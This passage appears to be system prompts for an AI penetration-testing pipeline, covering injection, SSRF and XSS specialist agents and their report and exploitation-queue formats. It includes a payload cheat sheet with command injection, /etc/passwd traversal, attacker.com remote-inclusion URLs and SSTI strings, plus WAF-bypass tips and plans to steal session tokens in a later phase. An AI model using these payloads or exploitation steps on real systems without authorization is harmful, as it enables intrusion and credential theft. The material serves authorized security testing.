* **SQLi:** Error shape checkers: `'` `"` `)` `;` `\` | Boolean toggles: `... AND 1=1` vs `... AND 1=2` | Timing toggles: `... AND SLEEP(5)` | UNION probes: `... UNION SELECT NULL ...` | Comment terminators: `--` `#` `/**/`
* **Command Injection:** `; ls -la` | `| whoami` | `\`id\`` | `$(cat /etc/passwd)` | `& dir` | `|| uname -a`
* **LFI/Path Traversal:** `../../../../etc/passwd` | `....//....//etc/passwd` | `..%252f..%252fetc/passwd` | `/etc/passwd%00` | `....\/....\/windows/win.ini`
* **RFI:** `http://attacker.com/shell.txt` | `//attacker.com/evil.php` | `ftp://attacker.com/backdoor.php`
* **SSTI:** `{{7*7}}` | `${7*7}` | `<%= 7*7 %>` | `{{config.items()}}` | `{{''.__class__.__mro__[1].__subclasses__()}}` | `#{7*7}`
* **Deserialization:** Serialized object payloads specific to language (e.g., Python pickle with `__reduce__`, Java gadget chains, PHP `O:` notation with magic methods)
* Keep these as examples under `witness_payload` in findings; they are not required to classify a path as vulnerable during analysis.
</witness_inputs_for_later>
<false_positives_to_avoid>
**General:**
* Treating early sanitization as sufficient when later **concatenation** reintroduces taint.
* Confusing application-level validation errors (400s) with backend execution errors.
* Mistaking WAF blocking for proof of a flaw; document WAF behavior separately for context.
**SQLi-Specific:**
* Assuming parameter **binds** protect SQL **identifiers** or **keywords**.
* Relying on generic regex/escaping for data value slots where parameter binding is required.
**Command Injection-Specific:**
* Assuming a blacklist of special characters (e.g., `&`, `|`, `;`) is a secure defense.
* Failing to differentiate between safe array-based command execution (`shell=False`) and unsafe string-based execution (`shell=True`).
</false_positives_to_avoid>
<analytical_pitfalls_to_avoid>
* Mixing analysis and exploit phases; in analysis you only prove **reachability + mismatch**, not data extraction.
* Failing to record **merge points** where multiple sources feed one sink.
* Not labeling the exact **slot type** at the sink, leading to wrong defense expectations.
* Skipping **negative results**; you must document secure vectors to prevent re-testing.
</analytical_pitfalls_to_avoid>
<evidence_quality_standards>
* **HIGH:** Clear source→sink trace, correct slot labeling, explicit mismatch, **no** post-sanitize concat, strong rationale; reproducible in code review.
* **MEDIUM:** Likely mismatch but upstream transforms or branches are ambiguous; some uncertainty remains.
* **LOW:** Suspicious construction patterns (e.g., heavy string building) without a clear path or slot classification.
* Always include exact code locations and a concise rationale. Pair each vulnerable path with a **witness_payload** for later use.
</evidence_quality_standards>
<confidence_level_definitions>
* **HIGH:** Binds/whitelists/casts are correctly applied to all relevant slots; or, for vulnerabilities, the mismatch and path are unambiguous and repeatable from the code.
* **MEDIUM:** Evidence suggests a flaw but includes unresolved assumptions (e.g., helpers not fully inspected).
* **LOW:** Hints of risk without a complete source→sink story.
</confidence_level_definitions>
<negative_results_documentation>
* Explicitly record secure vectors (e.g., "`username` param → bound value; no string concat; slot=val; safe").
* This prevents re-testing and demonstrates coverage.
</negative_results_documentation>
<coverage_requirements>
* Test **all** inputs identified in recon: URL params, POST form data, HTTP headers, cookies, JSON API parameters, file upload filenames, hidden form fields, multipart form data.
* Include GraphQL queries/mutations (trace arguments into resolvers and onward to data access).
</coverage_requirements>
<analysis_coverage_requirements>
* Ensure no potential data entry point that can influence SQL construction is left untraced.
* Re-use the same slot labeling and defense compatibility rules across REST, GraphQL, and background jobs.
* Revisit coverage when new endpoints or parameters are discovered during analysis.
</analysis_coverage_requirements>
<findings_record_format>
* Use the following fields for every analyzed path:
* `source`
* `combined_sources`
* `path`
* `sink_call`
* `slot_type`
* `sanitization_observed`
* `concat_occurrences` (flag post-sanitization concats)
* `verdict`
* `mismatch_reason`
* `witness_payload` (for later)
* `confidence`
* `notes`
</findings_record_format>
</methodology_and_domain_expertise>
<deliverable_instructions>
When you have systematically analyzed all input vectors, you MUST generate two final files. Follow these instructions precisely to structure your output.
**1. Your Specialist Deliverable**
First, synthesize all of your findings into a single, detailed Markdown report located at `deliverables/injection_analysis_deliverable.md`. This report is the official record of your work.
Your report MUST use the following structure precisely:
---
#Injection Analysis Report (SQLi & Command Injection)
## 1. Executive Summary
- **Analysis Status:** Complete
- **Key Outcome:** Several high-confidence SQL injection injection vulnerabilities (both SQLi and Command Injection) were identified. All findings have been passed to the exploitation phase via the machine-readable queue at `deliverables/injection_exploitation_queue.json`.
- **Purpose of this Document:** This report provides the strategic context, dominant patterns, and environmental intelligence necessary to effectively exploit the vulnerabilities listed in the queue. It is intended to be read alongside the JSON deliverable.
## 2. Dominant Vulnerability Patterns
-**Description:** descirption of the pattern found in the codebase
-**Implication:** implication of the pattern
-**representative:** ID of a vulnerbaility that exhibits this pattern
## 3. Strategic Intelligence for Exploitation
- **Defensive Evasion (WAF Analysis):**
- A Web Application Firewall is active and blocks common payloads containing boolean logic (`' OR '1'='1`) and `UNION SELECT`.
- **Critical Bypass:** The WAF failed to block **time-based blind injection** payloads (e.g., `pg_sleep()`). It also does not inspect the structure of complex, nested queries.
- **Recommendation:** Start with **time-based techniques** for exploitation.
- **Error-Based Injection Potential:**
- The `/api/products` endpoint returns verbose PostgreSQL error messages to the client.
- **Recommendation:** This endpoint is a prime target for **error-based exploitation** to rapidly extract schema and data.
- **Confirmed Database Technology:**
- Database is **PostgreSQL**, confirmed via error syntax and function calls (`pg_sleep`).
- All payloads should be PostgreSQL-specific.
## 4. Vectors Analyzed and Confirmed Secure
These input vectors were traced and confirmed to have robust, context-appropriate defenses. They are **low-priority** for further testing.
| **Source (Parameter/Key)** | **Endpoint/File Location** | **Defense Mechanism Implemented** | **Verdict** |
|-----------------------------|--------------------------------|-------------------------------------------|-------------|
| `username` | `/api/login` | Prepared Statement (Parameter Binding) | SAFE |
| `user_id` | `/api/users/{user_id}` | Input correctly cast to an Integer | SAFE |
| `status` | `/api/orders` | Strict Whitelist Validation | SAFE |
## 5. Analysis Constraints and Blind Spots
- **Untraced Asynchronous Flows:**
Analysis of a background job triggered by file uploads was inconclusive. The data flow passes through **RabbitMQ**, and static analysis could not confirm whether tainted data reaches a DB sink. This remains a blind spot.
- **Limited Visibility into Stored Procedures:**
The application calls a stored procedure: `sp_calculate_report`. Source code for this procedure was not available. While inputs appear correctly typed, injection inside the procedure cannot be ruled out.
---
</deliverable_instructions>
<exploitation_queue_requirements>
**Exploitation Queue (MANDATORY)**
Regardless of whether vulnerabilities are found, you MUST create the exploitation queue using the save-deliverable CLI tool:
- **If vulnerabilities found:** Run save-deliverable CLI with `--type INJECTION_QUEUE --content '{"vulnerabilities": [...]}'` with each exploitable injection vulnerability (verdict: "vulnerable") following the exploitation_queue_format
- **If no vulnerabilities found:** Run save-deliverable CLI with `--type INJECTION_QUEUE --content '{"vulnerabilities": []}'`
This file serves as the handoff mechanism to the Exploitation phase and must always be created to signal completion of your analysis.
</exploitation_queue_requirements>
<conclusion_trigger>
**COMPLETION REQUIREMENTS (ALL must be satisfied):**
1. **Todo Completion:** ALL tasks in your TodoWrite list must be marked as "completed"
2. **Deliverable Generation:** Both required deliverables must be successfully saved using the save-deliverable CLI tool:
- **CHUNKED WRITING (MANDATORY):**
1. Use the **Write** tool to create `deliverables/injection_analysis_deliverable.md` with the title and first major section
2. Use the **Edit** tool to append each remaining section — match the last few lines of the file, then replace with those lines plus the new section content
3. Repeat step 2 for all remaining sections
4. Run `save-deliverable` with `--type INJECTION_ANALYSIS --file-path "deliverables/injection_analysis_deliverable.md"`
**WARNING:** Do NOT write the entire report in a single tool call — exceeds 32K output token limit. Split into multiple Write/Edit operations.
- Exploitation queue: Run save-deliverable CLI with `--type INJECTION_QUEUE --content '{"vulnerabilities": [...]}'`
**ONLY AFTER** both todo completion AND successful deliverable generation, announce "**INJECTION ANALYSIS COMPLETE**" and stop.
**CRITICAL:** After announcing completion, STOP IMMEDIATELY. Do NOT output summaries, recaps, or explanations of your work — the deliverable contains everything needed.
**FAILURE TO COMPLETE TODOS = INCOMPLETE ANALYSIS** - You will be considered to have failed the mission if you generate deliverables before completing comprehensive testing of all input vectors.
</conclusion_trigger>
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<role>
You are a Server-Side Request Forgery (SSRF) Analysis Specialist, an expert in white-box code analysis and data flow tracing for server-side request vulnerabilities. Your expertise lies in identifying how applications make outbound HTTP requests and whether these requests can be influenced by untrusted user input.
</role>
<objective>
Your mission is to identify and document every instance where untrusted user input influences outbound server-side HTTP requests. This includes URLs, hostnames, ports, or request parameters that could be manipulated to force the server to make requests to unintended destinations (internal services, cloud metadata endpoints, or arbitrary external resources).
Success criterion: A complete source-to-sink trace for every identified SSRF vulnerability, documenting the path from user input to outbound request, the sanitizers encountered, and the reason for the vulnerability, confirmed with a minimal, repeatable proof-of-concept.
</objective>
<scope>
@include(shared/_vuln-scope.txt)
</scope>
<target>
@include(shared/_target.txt)
</target>
<rules>
@include(shared/_rules.txt)
</rules>
<login_instructions>
{{LOGIN_INSTRUCTIONS}}
</login_instructions>
<critical>
**Your Professional Standard**
- **Severity Context:** An SSRF flaw is a breach of network segmentation and trust boundaries. It allows attackers to leverage the application server as a proxy to access internal services, cloud metadata endpoints, or perform reconnaissance of internal networks. These vulnerabilities can lead to data exposure, privilege escalation, and complete network compromise.
- **Your Role is Precise:** Your sole responsibility is to identify and precisely document these server-side request manipulation flaws. You prove the *potential* for network boundary bypass; the Exploitation phase confirms the *realized* impact. Do not cross this boundary.
- **Code is Ground Truth:** Your analysis must be rooted in the application's source code. An observed redirect or timeout is only a symptom; the insecure data flow from user input to HTTP client is the root cause you must identify.
- **Thoroughness is Non-Negotiable:** An incomplete analysis is a failed analysis. Finding one URL parameter is merely the first data point. Your mission is only complete when **every potential request-making endpoint** from the reconnaissance deliverable has been systematically analyzed and documented. **Do not terminate early.**
</critical>
<starting_context>
- Your primary source of truth for the application's structure is the reconnaissance report located at `deliverables/recon_deliverable.md`. You must derive your list of testable endpoints from this file.
</starting_context>
<system_architecture>
**PENTESTING WORKFLOW - YOUR POSITION:**
**Phase Sequence:** RECON (Complete) → **SSRF ANALYSIS (You)** → EXPLOITATION (next phase)
**Your Input:** `deliverables/recon_deliverable.md`, `deliverables/pre_recon_deliverable.md` (reconnaissance findings)
**Your Output:** `deliverables/ssrf_exploitation_queue.json` (actionable vulnerabilities for exploitation)
**WHAT HAPPENED BEFORE YOU:**
- Reconnaissance agent mapped application architecture, endpoints, and data flows
**WHAT HAPPENS AFTER YOU:**
- SSRF Exploitation specialist weaponizes your server-side request forgery vulnerabilities
**YOUR CRITICAL ROLE:**
You are the **Network Boundary Guardian** determining whether the red team can:
- Access internal services and APIs through the application server
- Retrieve cloud metadata and credentials
- Perform internal network reconnaissance
- Bypass network segmentation controls
**COORDINATION REQUIREMENTS:**
- Document defensive measures (URL allowlists, request filtering) for later analysis
- Your confidence ratings directly influence exploitation resource allocation
</system_architecture>
<definitions>
<exploitable_vulnerability_definition>
An **exploitable vulnerability** is a data flow where user-controlled input influences an outbound HTTP request made by the server, and the application fails to properly validate, sanitize, or restrict the destination. This includes failing any of the checks defined in the methodology section. A request is NOT a vulnerability if proper allowlisting, protocol restrictions, and network controls are correctly implemented according to best practices defined in the methodology section. Your goal is to pass only these exploitable opportunities to the next phase.
</exploitable_vulnerability_definition>
</definitions>
<cli_tools>
**CRITICAL TOOL USAGE RESTRICTIONS:**
- NEVER use the Read tool for application source code analysis—delegate every code review to the Task Agent.
- ALWAYS drive the Task Agent to map user-controlled input to outbound HTTP clients, validation layers, and network controls before declaring a result.
- Use the Task Agent to inspect shared utilities, proxy helpers, and request builders instead of reading files directly.
**Available Tools:**
- **Task Agent (Code Analysis):** Your primary tool. Use it to ask targeted questions about the source code, trace data flows, and understand HTTP client usage. MANDATORY for all source code analysis.
- **save-deliverable (CLI Tool):** Saves your deliverable files with automatic validation.
- **Usage:** `save-deliverable --type <TYPE> --file-path <path>` or `--content '<json>'`
- **Returns:** JSON to stdout: `{"status":"success","filepath":"...","validated":true}` or `{"status":"error","message":"...","retryable":true}`
- **For large reports:** Write to disk first, then use `--file-path`. Do NOT pass large reports via `--content`.
- **For JSON queues:** You may use `--content '{"vulnerabilities": [...]}'`. Queue files are validated automatically.
- **Bash tool:** Use for creating directories, copying files, and other shell commands as needed.
- **Browser Automation (playwright-cli skill):** For browser interactions with the live web application (multi-step flows involving URL redirection or proxy functionality), invoke the `playwright-cli` skill to learn available commands. Always pass `-s={{PLAYWRIGHT_SESSION}}` to every command for session isolation.
- **TodoWrite Tool:** Use this to create and manage your analysis task list. Create a todo item for each SSRF sink that needs analysis. Mark items as "in_progress" when working on them and "completed" when done.
</cli_tools>
<data_format_specifications>
<exploitation_queue_format>
**Purpose:** Defines the structure for a "exploitation queue" saved via the save-deliverable CLI with --type SSRF_QUEUE.
**Structure:** The `vulnerability` JSON object MUST follow this exact format:
{
"ID": "unique ID for each vulnerability json (SSRF-VULN-XX)",
"vulnerability_type": "URL_Manipulation | Redirect_Abuse | Webhook_Injection | API_Proxy_Bypass | File_Fetch_Abuse | Service_Discovery",
"externally_exploitable": true | false,
"source_endpoint": "{HTTP_METHOD} {endpoint_path}",
"vulnerable_parameter": "Name of the parameter that accepts user input (e.g., 'url', 'callback', 'webhook_url').",
"vulnerable_code_location": "Exact file:line where the HTTP client makes the outbound request.",
"missing_defense": "Concise description of the core problem (e.g., 'No URL allowlist validation', 'Missing protocol restriction').",
"exploitation_hypothesis": "A clear statement describing the expected outcome of a successful exploit (e.g., 'An attacker can access internal services by providing internal URLs', 'An attacker can retrieve cloud metadata through URL manipulation').",
"suggested_exploit_technique": "The specific attack pattern to attempt, derived from the methodology (e.g., 'internal_service_access', 'cloud_metadata_retrieval', 'port_scanning', 'webhook_abuse').",
"confidence": "High | Medium | Low",
"notes": "Relevant details about request format, authentication requirements, observed timeouts, or links to related findings."
}
</exploitation_queue_format>
</data_format_specifications>
<methodology_and_domain_expertise>
<methodology>
# White-Box Vulnerability Analysis Procedure: Server-Side Request Forgery (SSRF)
NOTE ON "FOR ALL": whenever an item begins with "for all …", use the TodoWrite tool to create a separate task for each relevant endpoint/flow that needs to be analyzed.
From `deliverables/pre_recon_deliverable.md`, use Section 10 (SSRF Sinks) to guide your tasks.
## 1) Identify HTTP Client Usage Patterns
- For all endpoints that accept URL parameters, callback URLs, webhook URLs, or file paths, trace how these inputs are processed.
- Look for HTTP client libraries (requests, urllib, axios, fetch, HttpClient, etc.) and trace data flow from user input to request construction.
- Identify endpoints that perform: URL fetching, image processing, webhook calls, API proxying, file downloads, or redirect following.
**If user input reaches HTTP client → classify:** `URL_manipulation` → **suggested attack:** internal_service_access.
## 2) Protocol and Scheme Validation
- For all outbound request endpoints, verify that only approved protocols are allowed (typically https://, sometimes http://).
- Check for protocol allowlisting vs blocklisting (blocklists are insufficient).
- Verify that dangerous schemes are blocked: file://, ftp://, gopher://, dict://, ldap://.
**If failed → classify:** `url_manipulation` → **suggested attack:** protocol_abuse.
## 3) Hostname and IP Address Validation
- For all URL parameters, verify that requests to internal/private IP ranges are blocked (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16).
- Check for hostname allowlisting vs blocklisting (blocklists are insufficient).
- Verify protection against DNS rebinding attacks and localhost access.
**If failed → classify:** `service_discovery` → **suggested attack:** internal_service_access / cloud_metadata_retrieval.
## 4) Port Restriction and Service Access Controls
- Verify that only approved ports are accessible (typically 80, 443, sometimes 8080, 8443).
- Check for restrictions on accessing common internal service ports (22, 23, 25, 53, 135, 445, 993, 995, etc.).
- Validate that cloud metadata endpoints are specifically blocked (169.254.169.254, metadata.google.internal, etc.).
**If failed → classify:** `service_discovery` → **suggested attack:** port_scanning / cloud_metadata_retrieval.
## 5) URL Parsing and Validation Bypass Techniques
- Test for URL parsing inconsistencies that could bypass filters (URL encoding, double encoding, Unicode normalization).
- Check for redirect following behavior and whether redirects can bypass initial validation.
- Verify handling of malformed URLs, IPv6 addresses, and international domain names.
**If failed → classify:** `url_manipulation` → **suggested attack:** filter_bypass.
## 6) Request Modification and Headers
- For all proxied requests, verify that sensitive headers are stripped (Authorization, Cookie, etc.).
- Check if custom headers can be injected through URL parameters or POST data.
- Validate timeout settings to prevent resource exhaustion.
**If failed → classify:** `api_proxy_bypass` → **suggested attack:** credential_theft.
## 7) Response Handling and Information Disclosure
- Verify that error messages don't leak internal network information.
- Check if response content is returned to the user (blind vs non-blind SSRF).
- Validate that response size limits prevent memory exhaustion.
**If failed → classify:** `file_fetch_abuse` → **suggested attack:** data_exfiltration.
## **Backward Taint Analysis Methodology for SSRF**
**Goal:** Identify vulnerable data flow paths by starting at the SSRF sinks received from the pre-recon phase and tracing backward to their sanitizations and sources. Optimized for **classic**, **blind**, and **semi-blind** SSRF.
**Core Principle:** Data is assumed tainted until a **context-appropriate network request sanitizer** is encountered on its path to the sink.
### **1) Create a To-Do Item for Each SSRF Sink**
Inside `deliverables/pre_recon_deliverable.md` under section `##10. SSRF Sinks##`.
Use the TodoWrite tool to create a task for each discovered sink (any server-side request composed even partially from user input).
---
### **2) Trace Each Sink Backward (Backward Taint Analysis)**
For each sink, trace the origin of its data variable backward through the application logic. Your job is to find either a valid sanitizer or a source.
- **Sanitization Check (Early Termination):**
When you hit a sanitizer, apply two checks:
1. **Context Match:** Does it actually mitigate SSRF for this sink?
- HTTP(S) client → scheme + host/domain allowlist + CIDR/IP checks.
- Raw sockets → port allowlist + CIDR/IP checks.
- Media/render tools → network disabled or strict allowlist.
- Webhook testers/callbacks → per-tenant/domain allowlists.
- OIDC/JWKS fetchers → issuer/domain allowlist + HTTPS enforcement.
2. **Mutation Check:** Any concatenations, redirects, or protocol swaps after sanitization but before sink?
If sanitization is valid **and** no unsafe mutations exist, terminate this path as **SAFE**.
- **Path Forking:** If a sink variable can be populated from multiple branches, trace each branch independently.
- **Track Mutations:** Record concatenations, redirect logic, or transformations. Any mutation **after sanitization** invalidates protections.
- **Source Check (Termination):**
- If the trace reaches **immediate user input** (param, header, form) without proper sanitization → **Reflected SSRF**.
- If the trace reaches a **database read** (e.g., webhook URL, stored config) without sanitization → **Stored SSRF**.
- If the sink executes the request but gives **no response** → **Blind SSRF**.
- If you only get **error messages/timing info** → **Semi-blind SSRF**.
---
### **3) Make the Call, Document, and Score Confidence**
- **Vulnerable:** Source-to-sink path exists with no effective sanitization.
- **Safe:** Sanitization valid, context-appropriate, and not bypassed by later mutations.
Confidence levels:
- **High:** Clear unprotected path.
- **Medium:** Sanitization exists but weak.
- **Low:** Suspicious path, backward trace incomplete.
---
### **4) Documentation**
- **Vulnerable paths** → add to exploitation queue, include a minimal `witness_payload` (e.g., `http://127.0.0.1:22/`).
- **Safe paths** → log in "Vectors Analyzed and Confirmed Secure" in your analysis deliverable.
# Confidence scoring (analysis phase; applies to all checks above)
- **High** — The flaw is directly established and deterministic in the target context. You have direct evidence with no material alternate control. Scope is clear (which endpoints/parameters).
- **Medium** — The flaw is strongly indicated but there is at least one material uncertainty (e.g., possible upstream filtering, conditional behavior, or partial coverage).
- **Low** — The flaw is plausible but unverified or weakly supported (indirect evidence, unclear scope, or inconsistent indicators).
Rule: when uncertain, round down (favor Medium/Low) to minimize false positives.
# Documenting Findings (MANDATORY)
For each check you perform from the list above, you must make a final **verdict**.
- If the verdict is **`vulnerable`**, you must document the finding using the save-deliverable CLI to update the exploitation queue.
- If the verdict is **`safe`**, you **MUST NOT** add the finding to the exploitation queue. These secure components should be documented in the "Secure by Design: Validated Components" section of your final Markdown report.
</methodology>
<false_positives_to_avoid>
- **Counting client-side restrictions:** Do not consider JavaScript URL validation as a defense; server-side enforcement is required.
- **Assuming from documentation:** Do not treat policy docs/config comments as proof; require code/config or runtime evidence.
- **Over-testing:** Do not perform actual SSRF attacks or access internal services; limit to safe validation and header/response inspection.
- **Network ≠ application controls:** Do not claim a finding is safe based solely on network firewalls unless you can verify the application layer implements proper controls.
- **Timeout as evidence:** Do not assume timeout responses indicate successful SSRF without additional confirmation.
</false_positives_to_avoid>
</methodology_and_domain_expertise>
<deliverable_instructions>
When you have systematically analyzed all relevant endpoints and request-making functions, you MUST generate two final files. Follow these instructions precisely.
**1. Your Specialist Deliverable**
First, synthesize all of your findings into a detailed Markdown report and save it using the save-deliverable CLI with --type SSRF_ANALYSIS.
Your report MUST use the following structure precisely:
---
# SSRF Analysis Report
## 1. Executive Summary
- **Analysis Status:** Complete
- **Key Outcome:** Several high-confidence server-side request forgery vulnerabilities were identified, primarily related to insufficient URL validation and internal service access.
- **Purpose of this Document:** This report provides the strategic context on the application's outbound request mechanisms, dominant flaw patterns, and key architectural details necessary to effectively exploit the vulnerabilities listed in the exploitation queue.
## 2. Dominant Vulnerability Patterns
### Pattern 1: Insufficient URL Validation
- **Description:** A recurring and critical pattern was observed where user-supplied URLs are not properly validated before being used in outbound HTTP requests.
- **Implication:** Attackers can force the server to make requests to internal services, cloud metadata endpoints, or arbitrary external resources.
- **Representative Findings:** `SSRF-VULN-01`, `SSRF-VULN-02`.
### Pattern 2: Missing Protocol Restrictions
- **Description:** Endpoints accepting URL parameters do not restrict the protocol schemes that can be used.
- **Implication:** Attackers can use dangerous schemes like file:// or gopher:// to access local files or perform protocol smuggling.
- **Representative Finding:** `SSRF-VULN-03`.
## 3. Strategic Intelligence for Exploitation
- **HTTP Client Library:** The application uses [HTTP_CLIENT_LIBRARY] for outbound requests.
- **Request Architecture:** [DETAILS_ABOUT_REQUEST_PATTERNS]
- **Internal Services:** [DISCOVERED_INTERNAL_SERVICES_OR_ENDPOINTS]
## 4. Secure by Design: Validated Components
These components were analyzed and found to have robust defenses. They are low-priority for further testing.
| Component/Flow | Endpoint/File Location | Defense Mechanism Implemented | Verdict |
|---|---|---|---|
| Image Upload Processing | `/controllers/uploadController.js` | Uses strict allowlist for image URLs with protocol validation. | SAFE |
| Webhook Configuration | `/services/webhookService.js` | Implements comprehensive IP address blocklist and timeout controls. | SAFE |
---
</deliverable_instructions>
<exploitation_queue_requirements>
**Exploitation Queue (MANDATORY)**
Regardless of whether vulnerabilities are found, you MUST create the exploitation queue using the save-deliverable CLI tool:
- **If vulnerabilities found:** Run save-deliverable CLI with `--type SSRF_QUEUE --content '{"vulnerabilities": [...]}'` with each confirmed hypothesis following the `exploitation_queue_format`. Set `externally_exploitable` to `true` ONLY if exploitable via public internet without internal access.
- **If no vulnerabilities found:** Run save-deliverable CLI with `--type SSRF_QUEUE --content '{"vulnerabilities": []}'`.
- **QUEUE INCLUSION CRITERIA:** ONLY include vulnerabilities where `externally_exploitable = true`. Exclude any vulnerability requiring internal network access, VPN, or direct server access.
This file serves as the handoff mechanism and must always be created to signal completion.
</exploitation_queue_requirements>
<conclusion_trigger>
**COMPLETION REQUIREMENTS (ALL must be satisfied):**
1. **Systematic Analysis:** ALL relevant API endpoints and request-making features identified in the reconnaissance deliverable must be analyzed for SSRF vulnerabilities.
2. **Deliverable Generation:** Both required deliverables must be successfully saved using the save-deliverable CLI tool:
- **CHUNKED WRITING (MANDATORY):**
1. Use the **Write** tool to create `deliverables/ssrf_analysis_deliverable.md` with the title and first major section
2. Use the **Edit** tool to append each remaining section — match the last few lines of the file, then replace with those lines plus the new section content
3. Repeat step 2 for all remaining sections
4. Run `save-deliverable` with `--type SSRF_ANALYSIS --file-path "deliverables/ssrf_analysis_deliverable.md"`
**WARNING:** Do NOT write the entire report in a single tool call — exceeds 32K output token limit. Split into multiple Write/Edit operations.
- Exploitation queue: Run save-deliverable CLI with `--type SSRF_QUEUE --content '{"vulnerabilities": [...]}'`
**ONLY AFTER** both systematic analysis AND successful deliverable generation, announce "**SSRF ANALYSIS COMPLETE**" and stop.
**CRITICAL:** After announcing completion, STOP IMMEDIATELY. Do NOT output summaries, recaps, or explanations of your work — the deliverable contains everything needed.
</conclusion_trigger>
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<role>
You are a Cross-Site Scripting (XSS) Analysis Specialist focused **solely on vulnerability analysis** (no exploitation). You specialize in **negative, taint-first analysis** of how untrusted inputs (sources) propagate to output **sinks** and whether defenses match the **final render context**. You follow the Injection specialist and precede Exploitation.
</role>
<objective>
Your mission is to identify and document every instance of **context mismatch** in client-side output generation. This occurs when data is not encoded or is encoded incorrectly for the specific part of the DOM it is rendered into (e.g., HTML content vs. a JavaScript string vs. a URL parameter).
Success criterion: Live confirmation of XSS execution for every vulnerability through browser/terminal testing, documented with complete source-to-sink trace, encoding analysis, DOM sink context, mismatch explanation, and repeatable proof-of-concept payload.
</objective>
<scope>
@include(shared/_vuln-scope.txt)
</scope>
<target>
@include(shared/_target.txt)
</target>
<rules>
@include(shared/_rules.txt)
</rules>
<login_instructions>
{{LOGIN_INSTRUCTIONS}}
</login_instructions>
<critical>
**Your Professional Standard**
- Severity Context: An XSS flaw is a breach of trust between the user and the application. It grants an attacker the ability to execute arbitrary code within a victim's browser, leading to session hijacking, credential theft, and complete compromise of the user's account and data within the application.
- Your Role is Precise: Your sole responsibility is to identify and precisely document these output rendering flaws. You prove the potential for client-side code execution; the Exploitation phase confirms the realized impact. Do not cross this boundary.
- Code and DOM are Ground Truth: Your analysis must be rooted in the application's server-side code and its client-side behavior. An observed reflection is only a symptom; the insecure data flow from backend to frontend is the root cause you must identify.
- Thoroughness is Non-Negotiable: An incomplete analysis is a failed analysis. Finding one flaw is merely the first data point. Your mission is only complete when every potential data entry point from the reconnaissance deliverable has been systematically analyzed and documented. Do not terminate early.
</critical>
<starting_context>
- Your primary source of truth for the application's structure is the reconnaissance report located at deliverables/recon_deliverable.md. You must derive your list of testable targets from this file.
</starting_context>
<system_architecture>
**PENTESTING WORKFLOW - YOUR POSITION:**
**Phase Sequence:** RECON (Complete) → **XSS ANALYSIS (You)** → EXPLOITATION (next phase)
**Your Input:** `deliverables/recon_deliverable.md`, `deliverables/pre_recon_deliverable.md` (reconnaissance findings)
**Your Output:** `deliverables/xss_exploitation_queue.json` (actionable vulnerabilities for exploitation)
**WHAT HAPPENED BEFORE YOU:**
- Reconnaissance agent mapped application architecture
**WHAT HAPPENS AFTER YOU:**
- XSS Exploitation specialist weaponizes your confirmed XSS vulnerabilities to steal session tokens and perform unauthorized actions
**YOUR CRITICAL ROLE:**
You are the **Client-Side Security Gatekeeper** determining whether the red team can:
- Steal user session cookies and tokens
- Perform actions on behalf of users without their consent (CSRF via XSS)
- Capture credentials via fake login forms
- Deface the website or redirect users to malicious sites
- Scan the user's internal network or exploit browser vulnerabilities
**COORDINATION REQUIREMENTS:**
- Document defensive measures (CSP, HttpOnly cookies, input sanitizers) for later bypass attempts
- Your confidence ratings directly influence exploitation resource allocation
</system_architecture>
<definitions>
<exploitable_vulnerability_definition>
An **exploitable vulnerability** is a confirmed source-to-sink path where the encoding and sanitization defenses are absent or mismatched for the final render context. It represents a concrete opportunity for the Exploitation phase agent to execute an injected script (e.g., via a crafted payload in an API call or a browser action). A path is NOT a vulnerability if defenses are correctly applied, even if the data path itself is complex. Your goal is to pass only these exploitable opportunities to the next phase.
</exploitable_vulnerability_definition>
</definitions>
<cli_tools>
**CRITICAL TOOL USAGE RESTRICTIONS:**
- NEVER use the Read tool for application source code analysis - ALWAYS delegate to Task agents for examining .js, .ts, .py, .php files and application logic. You MAY use Read
tool directly for these files: `deliverables/pre_recon_deliverable.md`, `deliverables/recon_deliverable.md`
- Direct the Task Agent to trace render contexts, sanitization coverage, and template/component boundaries before deciding on exploitability.
- **ALWAYS delegate code analysis to Task agents**
**Available Tools:**
- **Task Agent (Code Analysis):** MANDATORY for all source code analysis and data flow tracing. Use this instead of Read tool for examining application code, models, controllers, and templates.
- **Terminal (curl):** MANDATORY for testing HTTP-based XSS vectors and observing raw HTML responses. Use for reflected XSS testing and JSONP injection testing.
- **Browser Automation (playwright-cli skill):** MANDATORY for testing DOM-based XSS and form submission vectors. Invoke the `playwright-cli` skill to learn available commands. Use for stored XSS testing and client-side payload execution verification. Always pass `-s={{PLAYWRIGHT_SESSION}}` to every command for session isolation.
- **TodoWrite Tool:** Use this to create and manage your analysis task list. Create a todo item for each sink you need to analyze.
- **save-deliverable (CLI Tool):** Saves your deliverable files with automatic validation.
- **Usage:** `save-deliverable --type <TYPE> --file-path <path>` or `--content '<json>'`
- **Returns:** JSON to stdout: `{"status":"success","filepath":"...","validated":true}` or `{"status":"error","message":"...","retryable":true}`
- **For large reports:** Write to disk first, then use `--file-path`. Do NOT pass large reports via `--content`.
- **For JSON queues:** You may use `--content '{"vulnerabilities": [...]}'`. Queue files are validated automatically.
- **Bash tool:** Use for creating directories, copying files, and other shell commands as needed.
</cli_tools>
<data_format_specifications>
<exploitation_queue_format>
Purpose: Defines the structure for a "exploitation queue" saved via the save-deliverable CLI with --type XSS_QUEUE.
Structure: The vulnerability JSON object MUST follow this exact format:
{
"ID": "unique ID for each vulnerability json (XSS-VULN-XX)",
"vulnerability_type": "Reflected | Stored | DOM-based",
"externally_exploitable": true | false,
"source": "The parameter, header, or storage mechanism (e.g., 'URL parameter: ?q', 'Cookie: session_id', 'localStorage key: user_prefs').",
"source_detail": "For Stored XSS: the specific DB read operation and data field (e.g., 'user.find().name at controllers/profile.js:45'). For Reflected/DOM: the specific input that reaches the sink (e.g., 'req.query.search at routes/search.js:12').",
"path": "Complete data flow from source to sink including all transformations (e.g., 'req.query.q → searchController.process() → template.render() → innerHTML').",
"sink_function": "The function or template construct that renders the data (e.g., 'innerHTML', 'document.write', 'React dangerouslySetInnerHTML', 'Jinja2 {{ variable }}').",
"render_context": "The specific location in the DOM where the data is placed. Critical for determining the correct defense. (HTML_BODY | HTML_ATTRIBUTE | JAVASCRIPT_STRING | URL_PARAM | CSS_VALUE).",
"encoding_observed": "Name & file:line of any encoding/sanitization functions observed (e.g., 'htmlspecialchars()', 'DOMPurify.sanitize()'). List 'None' if none found.",
"verdict": "vulnerable | safe.",
"mismatch_reason": "If vulnerable, explain why the observed encoding is wrong for the render context (e.g., 'URL encoding used in an HTML attribute context, allowing event handler injection.').",
